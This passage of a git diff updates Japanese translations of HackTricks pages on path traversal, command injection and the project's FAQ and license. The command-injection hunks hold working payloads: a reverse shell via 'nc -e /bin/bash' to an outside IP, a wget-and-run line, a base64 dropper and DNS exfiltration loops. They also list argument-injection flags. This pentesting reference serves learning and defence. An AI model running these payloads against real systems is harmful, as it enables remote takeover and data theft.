ディレクトリの外に到達する traversal パターン (../) を探す +- realpath() による包含確認なしにリクエストパスを include()/require()/read シンクに連結しているハンドラがないか確認する +- 意図した templates ディレクトリの外に出る traversal パターン (../) を探す -ハードニング -- 許可リスト化されたテンプレートを強制する。realpath() で解決し、str_starts_with(realpath(file), realpath(allowed_base)) を要求する -- 入力を正規化する。traversal シーケンスと絶対パスを拒否する。sanitize_file_name() はファイル名(フルパスではなく)にのみ使用する +堅牢化 +- 許可リスト化されたテンプレートを強制する。realpath() で解決し、require str_starts_with(realpath(file), realpath(allowed_base)) を要求する +- 入力を正規化する。traversal シーケンスや絶対パスを拒否する。sanitize_file_name() はファイル名のみ(フルパスではなく)に使用する ## References diff --git a/src/pentesting-web/command-injection.md b/src/pentesting-web/command-injection.md index 077a5824d..051c7b900 100644 --- a/src/pentesting-web/command-injection.md +++ b/src/pentesting-web/command-injection.md @@ -2,13 +2,13 @@ {{#include ../banners/hacktricks-training.md}} -## What is command Injection? +## command Injectionとは何か? -**command injection** により、攻撃者はアプリケーションをホストしているサーバー上で任意のオペレーティングシステムコマンドを実行できます。その結果、アプリケーションおよびその全データが完全に侵害される可能性があります。これらのコマンドの実行により、通常、攻撃者はアプリケーションの環境や基盤となるシステムへの不正アクセスや制御を取得できます。 +A **command injection** は、アプリケーションをホストしているサーバ上で攻撃者が任意の OS コマンドを実行できるようにする脆弱性です。その結果、アプリケーションおよびそのすべてのデータが完全に侵害される可能性があります。これらのコマンドの実行により、通常、攻撃者はアプリケーションの環境や基盤となるシステムへの不正なアクセスや制御を取得できます。 -### コンテキスト +### Context -入力がどこに注入されているかによっては、コマンドの前に**引用されたコンテキストを終了する**(`"` または `'` を使用)必要がある場合があります。 +入力が**どこに挿入されているか**によっては、コマンドの前に**引用されたコンテキストを終了させる**(`"` または `'` を使用)必要がある場合があります。 ## Command Injection/Execution ```bash @@ -32,7 +32,7 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful ``` ### **制限** Bypasses -もし**linuxマシン内で任意のコマンドを実行する**ことを試みているなら、この**Bypasses:**を読むと役立ちます。 +もし **arbitrary commands inside a linux machine** を実行しようとしているなら、この **Bypasses:** を読むと役に立つでしょう。 {{#ref}} @@ -45,9 +45,9 @@ vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php / vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80 vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay ``` -### パラメータ +### Parameters -以下は、code injection や類似の RCE 脆弱性に対して脆弱であり得る上位25のパラメータです(出典: [link](https://twitter.com/trbughunters/status/1283133356922884096)): +以下は code injection や同様の RCE 脆弱性の影響を受ける可能性がある上位25のパラメータです (from [link](https://twitter.com/trbughunters/status/1283133356922884096)): ``` ?cmd={payload} ?exec={payload} @@ -77,7 +77,7 @@ vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod ``` ### Time based data exfiltration -データを1文字ずつ抽出する +データ抽出: 1文字ずつ ``` swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi real 0m5.007s @@ -89,9 +89,9 @@ real 0m0.002s user 0m0.000s sys 0m0.000s ``` -### DNS による data exfiltration +### DNSを利用した data exfiltration -ツール `https://github.com/HoLyVieR/dnsbin` に基づく。dnsbin.zhack.ca にもホストされている。 +`https://github.com/HoLyVieR/dnsbin` のツールに基づいており、dnsbin.zhack.caでもホストされています。 ``` 1. Go to http://dnsbin.zhack.ca/ 2. Execute a simple 'ls' @@ -101,12 +101,12 @@ for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done ``` $(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il) ``` -DNS ベースの data exfiltration をチェックするオンラインツール: +DNSベースのdata exfiltrationをチェックするオンラインツール: - dnsbin.zhack.ca - pingb.in -### Filtering bypass +### フィルタリングバイパス #### Windows ``` @@ -120,9 +120,9 @@ powershell C:**2\n??e*d.*? # notepad ../linux-hardening/bypass-bash-restrictions/ {{#endref}} -### Node.js `child_process.exec` vs `execFile` +### Node.js `child_process.exec` と `execFile` -JavaScript/TypeScript のバックエンドを監査する際、Node.js の `child_process` API にしばしば遭遇します。 +JavaScript/TypeScript バックエンドを監査する際、しばしば Node.js `child_process` API に遭遇します。 ```javascript // Vulnerable: user-controlled variables interpolated inside a template string const { exec } = require('child_process'); @@ -130,9 +130,9 @@ exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(pay /* … */ }); ``` -`exec()` は **shell** (`/bin/sh -c`) を起動するため、**shell** に特別な意味を持つ文字(back-ticks、`;`、`&&`、`|`、`$()`、…)がユーザ入力を文字列に連結したときに **command injection** を引き起こします。 +`exec()` は **shell** (`/bin/sh -c`) を起動するため、shell に特別な意味を持つ任意の文字(バックティック、`;`、`&&`、`|`、`$()`、…)は、ユーザー入力が文字列に連結されると **command injection** を引き起こします。 -**緩和策:** `execFile()` を使用する(または `shell` オプションなしで `spawn()` を使用)し、**各引数を別々の配列要素として渡す**ことで shell が介在しないようにします: +**対策:** `execFile()`(または `spawn()` を `shell` オプションなしで使用)を使い、各引数を**別々の配列要素**として渡して shell が介在しないようにします: ```javascript const { execFile } = require('child_process'); execFile('/usr/bin/do-something', [ @@ -140,27 +140,27 @@ execFile('/usr/bin/do-something', [ '--payload', JSON.stringify(payload) ]); ``` -実際の事例: *Synology Photos* ≤ 1.7.0-0794 は、認証なしの WebSocket イベントを介して攻撃者が制御するデータを `id_user` に配置し、その後 `exec()` 呼び出しに埋め込まれて RCE を達成できる脆弱性がありました (Pwn2Own Ireland 2024)。 +Real-world case: *Synology Photos* ≤ 1.7.0-0794 は、認証なしの WebSocket イベントを介して攻撃者制御のデータが `id_user` に配置され、その値が後で `exec()` 呼び出しに埋め込まれて RCE を達成した(Pwn2Own Ireland 2024)。 ### Argument/Option injection via leading hyphen (argv, no shell metacharacters) -Not all injections require shell metacharacters. If the application passes untrusted strings as arguments to a system utility (even with `execve`/`execFile` and no shell), many programs will still parse any argument that begins with `-` or `--` as an option. This lets an attacker flip modes, change output paths, or trigger dangerous behaviors without ever breaking into a shell. +すべてのインジェクションが shell のメタ文字を必要とするわけではありません。アプリケーションが未検証の文字列をシステムユーティリティへの引数として渡す場合(`execve`/`execFile` を使いシェルを介さない場合でも)、多くのプログラムは先頭が `-` または `--` で始まる引数をオプションとして解釈します。これにより攻撃者はシェルに入ることなくモードを切り替えたり、出力先を変更したり、危険な動作を引き起こしたりできます。 -典型的な発生箇所: +Typical places where this appears: -- Embedded web UIs/CGI handlers that build commands like `ping `, `tcpdump -i -w `, `curl `, etc. -- Centralized CGI routers (e.g., `/cgi-bin/.cgi` with a selector parameter like `topicurl=`) where multiple handlers reuse the same weak validator. +- Embedded web UIs/CGI handlers が `ping `, `tcpdump -i -w `, `curl ` のようなコマンドを組み立てる場合。 +- Centralized CGI routers(例: `/cgi-bin/.cgi` で `topicurl=` のようなセレクタパラメータを使う場合)で、複数のハンドラが同じ弱いバリデータを再利用しているケース。 -試してみること: +What to try: -- 下流のツールにフラグとして解釈されるよう、`-`/`--` で始まる値を渡す。 -- 振る舞いを変えたりファイルを書き込んだりするフラグを悪用する。例えば: - - `ping`: `-f`/`-c 100000` でデバイスに負荷をかける (DoS) - - `curl`: `-o /tmp/x` で任意パスに書き出す、`-K ` で攻撃者制御の設定を読み込む - - `tcpdump`: `-G 1 -W 1 -z /path/script.sh` で unsafe wrapper におけるローテート後の実行を狙う -- プログラムがオプション終端の `--` をサポートしている場合、誤った位置に `--` を前置するような安易な対策を回避できないか試す。 +- ダウンストリームのツールがフラグとして解釈するように、先頭が `-`/`--` で始まる値を与える。 +- 動作を変えたりファイルを書き出したりするフラグを悪用する。例えば: +- `ping`: `-f`/`-c 100000` でデバイスに負荷をかける(DoS) +- `curl`: `-o /tmp/x` で任意パスに書き込み、`-K ` で攻撃者制御の設定を読み込ませる +- `tcpdump`: `-G 1 -W 1 -z /path/script.sh` でローテート後に実行されることを狙う(unsafe wrappers の場合) +- プログラムが `--` による end-of-options をサポートしている場合、誤った場所に `--` を前置するようなナイーブな緩和策を回避できないか試す。 -centralized CGI dispatchers に対する一般的な PoC の形: +Generic PoC shapes against centralized CGI dispatchers: ``` POST /cgi-bin/cstecgi.cgi HTTP/1.1 Content-Type: application/x-www-form-urlencoded diff --git a/src/welcome/hacktricks-values-and-faq.md b/src/welcome/hacktricks-values-and-faq.md index b85052a61..ff0e762eb 100644 --- a/src/welcome/hacktricks-values-and-faq.md +++ b/src/welcome/hacktricks-values-and-faq.md @@ -1,39 +1,39 @@ -# HackTricksの価値観とFAQ +# HackTricks の価値観とFAQ {{#include ../banners/hacktricks-training.md}} -## HackTricksの価値観 +## HackTricks の価値観 > [!TIP] -> これらは**HackTricksプロジェクトの価値観**です: +> これは **HackTricks プロジェクト** の価値観です: > -> - インターネット上の**すべての人**に**無料**で**教育的な hacking**リソースを提供する。 -> - Hackingは学びであり、学びは可能な限り無料であるべきです。 -> - この本の目的は包括的な**教育的リソース**として機能することです。 -> - コミュニティが公開する素晴らしい**hacking**テクニックを**保存**し、**元の著者**にすべての**クレジット**を与える。 -> - **他人からクレジットを得たいわけではありません**。全員のためにかっこいいトリックを保存したいだけです。 -> - HackTricksでは**独自の調査**も執筆しています。 -> - 場合によっては、テクニックの重要な部分をHackTricksに**要約**して書き、詳細については**読者に元の投稿を参照することを推奨**します。 -> - 本に掲載されるすべてのhackingテクニックを**整理**して、より**アクセスしやすく**する。 -> - HackTricksチームは、ユーザが**より早く学べるように**コンテンツを整理することだけに何千時間も無償で費やしています。 +> - インターネットの**ALL**に**FREE**で**EDUCATIONAL hacking**リソースへのアクセスを提供する。 +> - Hacking は学びが中心であり、学びは可能な限り無料であるべきです。 +> - この本の目的は包括的な**educational resource**として役立つことです。 +> - コミュニティが公開する素晴らしい**hacking**テクニックを**STORE**し、**ORIGINAL** **AUTHORS**にすべての**credits**を与える。 +> - **We don't want the credit from other people**, 私たちはただ皆のためにクールなトリックを保存したいだけです。 +> - HackTricks では**our own researches**も執筆します。 +> - 多くの場合、テクニックの重要な部分を HackTricks に**in HackTricks a summary of the important parts**としてまとめ、詳細に関しては**encourage the lector to visit the original post**します。 +> - 本書のすべての**hacking**テクニックを**ORGANIZE**して、より**MORE ACCESSIBLE**にする。 +> - HackTricks チームは、コンテンツを整理するためだけに何千時間もの無償作業を捧げており、人々が**learn faster**できるようにしています。
-## HackTricks FAQ +## HackTricks よくある質問 > [!TIP] > -> - **これらのリソースを本当にありがとうございます。どのように感謝すればよいですか?** +> - **これらのリソースを提供してくれて本当にありがとうございます。どう感謝を伝えればよいですか?** -You can publicly thanks HackTricks teams for putting together all these resources publicly in a tweet mentioning [**@hacktricks_live**](https://twitter.com/hacktricks_live).\ -If you are specially grateful you can also [**sponsor the project here**](https://github.com/sponsors/carlospolop).\ -And don't forget to **give a star in the Github projects!** (Find the links below). +これらすべてのリソースを公開してまとめてくれた HackTricks チームに公開で感謝を示すには、[**@hacktricks_live**](https://twitter.com/hacktricks_live) をメンションしたツイートをしてください。\ +特に感謝している場合は、[**sponsor the project here**](https://github.com/sponsors/carlospolop)することもできます。\ +そして **give a star in the Github projects!** を忘れないでください!(リンクは下にあります)。 > [!TIP] > -> - **プロジェクトにどう貢献できますか?** +> - **プロジェクトにどのように貢献できますか?** -コミュニティと**新しいtipsやtricksを共有したり、本で見つけたバグを修正したり**するには、該当するGithubページに**Pull Request**を送ってください: +本の中で見つけた**share new tips and tricks with the community or fix bugs**を共有したり、バグを修正したりするには、該当する Github ページに**Pull Request**を送ってください: - [https://github.com/carlospolop/hacktricks](https://github.com/carlospolop/hacktricks) - [https://github.com/carlospolop/hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud) @@ -42,16 +42,16 @@ Don't forget to **give a star in the Github projects!** > [!TIP] > -> - **HackTricksのコンテンツをコピーして自分のブログに掲載してもいいですか?** +> - **HackTricksから一部のコンテンツをコピーして自分のブログに掲載してもいいですか?** -はい、可能です。ただし、**コンテンツを取得した具体的なリンクを明記する**ことを忘れないでください。 +はい、可能です。ただし、コンテンツを取得した**don't forget to mention the specific link(s)**を必ず記載してください。 > [!TIP] > -> - **HackTricksのページをどう引用できますか?** +> - **HackTricks のページをどのように参照できますか?** -情報を取得したページのリンクが表示されていればそれで十分です.\ -If you need a bibtex you can use something like: +情報を取得したページ**の**リンクが表示されていればそれで十分です。\ +bibtex が必要な場合は、次のようにできます: ```latex @misc{hacktricks-bibtexing, author = {"HackTricks Team" or the Authors name of the specific page/trick}, @@ -62,82 +62,82 @@ url = {\url{https://book.hacktricks.wiki/specific-page}}, ``` > [!WARNING] > -> - **Can I copy all HackTricks in my blog?** +> - **ブログにHackTricksの全内容をコピーしてもいいですか?** -**控えていただきたいです**。それは**誰の利益にもなりません**。なぜなら**コンテンツは既に公式のHackTricks本で無料で公開されている**からです。 +**できればやめてください**。誰にも利益をもたらしません。すべての**コンテンツは公式のHackTricksの書籍で既に無料で公開されています**。 -もしそれが消えることを心配しているなら、Githubでforkするかダウンロードしてください。繰り返しますが、既に無料です。 +もし消えることを心配しているなら、Githubでforkするかダウンロードしてください。繰り返しますが、既に無料です。 > [!WARNING] > -> - **Why do you have sponsors? Are HackTricks books for commercial purposes?** +> - **なぜスポンサーがいるのですか?HackTricksの書籍は商用目的ですか?** -最初の **HackTricks** の **価値** は、世界中の **ALL** の人々に **FREE** の hacking 教育リソースを提供することです。HackTricksチームはこのコンテンツを提供するために **何千時間もの時間を捧げており**、繰り返しますが **FREE** です。 +第一のHackTricksの**価値**は、世界中の**すべての人**に**無料の**ハッキング教育リソースを提供することです。HackTricksチームはこのコンテンツを提供するために**何千時間も**を費やしており、繰り返しますが**無料**です。 -もしHackTricksの本が **commercial purposes** のために作られていると思うなら、それは **完全に間違いです**。 +もしHackTricksの書籍が**商業目的**で作られていると思うなら、それは**完全に間違い**です。 -スポンサーがいるのは、すべてのコンテンツがFREEであっても、コミュニティが我々の仕事を評価したい場合にその機会を**提供したい**からです。したがって、人々にはHackTricksへ寄付するオプションとして[**Github sponsors**](https://github.com/sponsors/carlospolop)を提供し、**relevant cybersecurity companies** にHackTricksをスポンサーしてもらい、本には**ads**を配置することがあります。広告は常に学習の妨げにならないよう、**visible** な場所に配置しています。 +すべてのコンテンツが無料であっても、我々の仕事を評価したいと考えるコミュニティの方々にその機会を提供したいため、スポンサーを受け入れています。そのため、[**Github sponsors**](https://github.com/sponsors/carlospolop)を通じてHackTricksへの寄付オプションを提供し、関連するサイバーセキュリティ企業にHackTricksをスポンサーしていただき、書籍内にいくつかの広告を掲載しています。広告は常に目に付きやすい場所に配置しますが、コンテンツに集中して学習する際の妨げにならないようにしています。 -HackTricksは商用目的で作られていないため、コンテンツ量がはるかに少ない他のブログのような迷惑な広告で埋め尽くされていることはありません。 +HackTricksは商業目的で作られていないため、コンテンツ量がはるかに少ない他のブログのように煩わしい広告で埋められていることはありません。 > [!CAUTION] > -> - **What should I do if some HackTricks page is based on my blog post but it isn't referenced?** +> - **HackTricksのページが私のブログ記事をベースにしているが参照がない場合はどうすればよいですか?** -**大変申し訳ありません。こんなことが起こるべきではありませんでした**。Github issues、Twitter、Discord... 等で、該当するHackTricksページのリンクとあなたのブログのリンクをお知らせください。**確認してできるだけ早く追加します**。 +**大変申し訳ありません。これはあってはならないことです。** Github issues、Twitter、Discordなどで該当するHackTricksページのリンクとあなたのブログのリンクを教えてください。確認してできるだけ早く参照を追加します。 > [!CAUTION] > -> - **What should I do if there is content from my blog in HackTricks and I don't want it there?** +> - **HackTricksに私のブログのコンテンツがあり、それを掲載されたくない場合はどうすればよいですか?** -HackTricksにあなたのページへのリンクがあることは次の点で有益であることにご注意ください: +HackTricksにあなたのページへのリンクがあることにより: -- Improve your **SEO** -- コンテンツは**15以上の言語に翻訳され**、より多くの人がその内容にアクセスできるようになります -- **HackTricksは**人々に**あなたのページを確認する**ことを奨励します(いくつかの方から、彼らのページがHackTricksに掲載されて以来アクセスが増えたと報告を受けています) +- あなたの**SEO**が向上します +- コンテンツは**15以上の言語**に翻訳され、より多くの人がアクセスできるようになります +- **HackTricksは**人々にあなたのページを確認するよう促します(複数の方から、彼らのページがHackTricksに掲載されて以来訪問者が増えたと報告されています) -それでもあなたのブログのコンテンツをHackTricksから削除してほしい場合は、お知らせください。私たちは確実に**あなたのブログへのすべてのリンクを削除**し、それに基づくすべてのコンテンツを削除します。 +それでもHackTricksからあなたのブログのコンテンツを削除したい場合は、お知らせください。あなたのブログへのすべてのリンクおよびそれに基づくコンテンツを確実に削除します。 > [!CAUTION] > -> - **What should I do if I find copy-pasted content in HackTricks?** +> - **HackTricksでコピペされたコンテンツを見つけた場合はどうすればよいですか?** -私たちは常に**元の著者にすべてのクレジットを与えます**。もし出典が示されていないコピー&ペーストされたコンテンツを見つけた場合はお知らせください。私たちはそれを**削除する**か、**テキストの前にリンクを追加する**か、あるいは**リンクを付けて書き直す**いずれかの対応を行います。 +我々は常に原著作者に**全てのクレジットを与えます**。参照元が示されていないコピペされたコンテンツのページを見つけた場合はお知らせください。該当箇所を**削除する**か、**テキストの前にリンクを追加する**か、**リンクを追加して書き直す**かのいずれかで対応します。 ## ライセンス -Copyright © 特に明記されていない限り、すべての権利を保有します。 +著作権 © 特に明記されていない限り全著作権所有。 #### ライセンス概要: -- Attribution: あなたは以下を行うことができます: -- Share — 資料をあらゆる媒体やフォーマットでコピーおよび再配布すること。 -- Adapt — 資料をリミックス、変換、基にして構築すること。 +- 帰属表示: 次のことが許可されています: +- Share — 素材をあらゆる媒体や形式で複製および再配布できます。 +- Adapt — 素材をリミックス、変換、または基にして構築できます。 #### 追加条件: -- Third-Party Content: このブログ/本の一部には、他のブログや出版物からの抜粋など、他のソースからのコンテンツが含まれる場合があります。そのようなコンテンツの使用は、フェアユースの原則に基づくか、該当する著作権保有者からの明示的な許可のもとで行われています。サードパーティのコンテンツに関する具体的なライセンス情報は元のソースを参照してください。 -- Authorship: HackTricksによって作成されたオリジナルのコンテンツは本ライセンスの対象となります。共有または改変する際は、この作品を著者に帰属させることを推奨します。 +- 第三者コンテンツ: このブログ/書籍の一部は、他のブログや出版物からの引用など、他のソースのコンテンツを含む場合があります。そのようなコンテンツの使用は、フェアユースの原則に基づくか、該当する著作権保有者からの明示的な許可のもとで行われています。第三者コンテンツに関する具体的なライセンス情報は、元のソースを参照してください。 +- 著作: HackTricksが作成したオリジナルのコンテンツはこのライセンスの条件に従います。共有や改変の際にはこの作品を作者に帰属させることを推奨します。 -#### 免除事項: +#### 例外事項: -- Commercial Use: 本コンテンツの商用利用に関するお問い合わせはご連絡ください。 +- 商用利用: 本コンテンツの商用利用についての問い合わせはお問い合わせください。 -このライセンスは、コンテンツに関連する商標やブランディング権を付与するものではありません。本ブログ/本に掲載されているすべての商標およびブランディングは、それぞれの所有者に帰属します。 +このライセンスはコンテンツに関連する商標やブランディング権を付与するものではありません。本ブログ/書籍に掲載されているすべての商標およびブランドは、それぞれの所有者の財産です。 -**HackTricksにアクセスまたは使用することで、あなたはこのライセンスの条件に従うことに同意したものとみなされます。これらの条件に同意しない場合は、このウェブサイトにアクセスしないでください。** +**HackTricksにアクセスまたは利用することで、あなたはこのライセンスの条件に従うことに同意したものとみなされます。これらの条件に同意しない場合は、サイトにアクセスしないでください。** ## **免責事項** > [!CAUTION] -> この本『HackTricks』は教育および情報提供のみを目的としています。本書の内容は「現状のまま」提供されており、著者および出版社は、本書に含まれる情報、製品、サービス、関連図表の完全性、正確性、信頼性、適合性、または入手可能性について、明示または黙示のいかなる保証も行いません。したがって、これらの情報に依存する場合は、そのリスクはすべて利用者自身が負うものとします。 +> 本書「HackTricks」は教育的・情報提供目的のみを意図しています。本書の内容は「現状のまま」提供されており、著者および出版社はいかなる種類の明示的または黙示的な保証(完全性、正確性、信頼性、適合性、入手可能性等)を行いません。本書に含まれる情報、製品、サービス、関連グラフィックについてそれらが完全であるとか正確であるとか利用に適しているといった保証はありません。したがって、これらの情報に依拠する場合、その責任は全て利用者自身にあります。 > -> 著者および出版社は、いかなる場合においても、間接的または結果的損害を含むいかなる損失や損害、またはデータや利益の損失に起因する損害について責任を負いません。 +> 著者および出版社は、間接的または結果的損害を含むいかなる損失や損害、またはデータ損失や利益損失に起因するいかなる損失や損害についても一切責任を負いません。 > -> さらに、本書で説明されている手法やヒントは教育および情報提供の目的で提供されており、違法または悪意のある活動に使用されるべきではありません。著者および出版社は違法または非倫理的な活動を容認または支持するものではなく、本書に含まれる情報の使用は利用者自身の責任と判断において行われるべきです。 +> さらに、本書で説明されている技術やヒントは教育的・情報提供目的のみで提供されており、違法または悪意のある活動に使用してはなりません。著者および出版社は違法または非倫理的な活動を容認または支持するものではなく、本書に含まれる情報の使用は利用者自身の責任と判断に委ねられます。 > -> 本書に含まれる情報に基づいて行われた行為についての責任は利用者自身にあり、記載された技術やヒントを実装する際は常に専門家の助言や支援を求めるべきです。 +> 利用者は本書に含まれる情報に基づいて行った行為について単独で責任を負い、本書に記載された技術やヒントを実行する際は常に専門家の助言や支援を求めるべきです。 > -> 本書を使用することにより、利用者は本書の著者および出版社を、使用に起因または関連して生じるいかなる損害、損失、または害についても一切の責任および義務から免除することに同意したものとみなされます。 +> 本書を使用することにより、利用者は本書または本書に含まれる情報の使用から生じる可能性のある損害、損失、または害について、著者および出版社をすべての責任から免除することに同意したものとします。 {{#include ../banners/hacktricks-training.md}}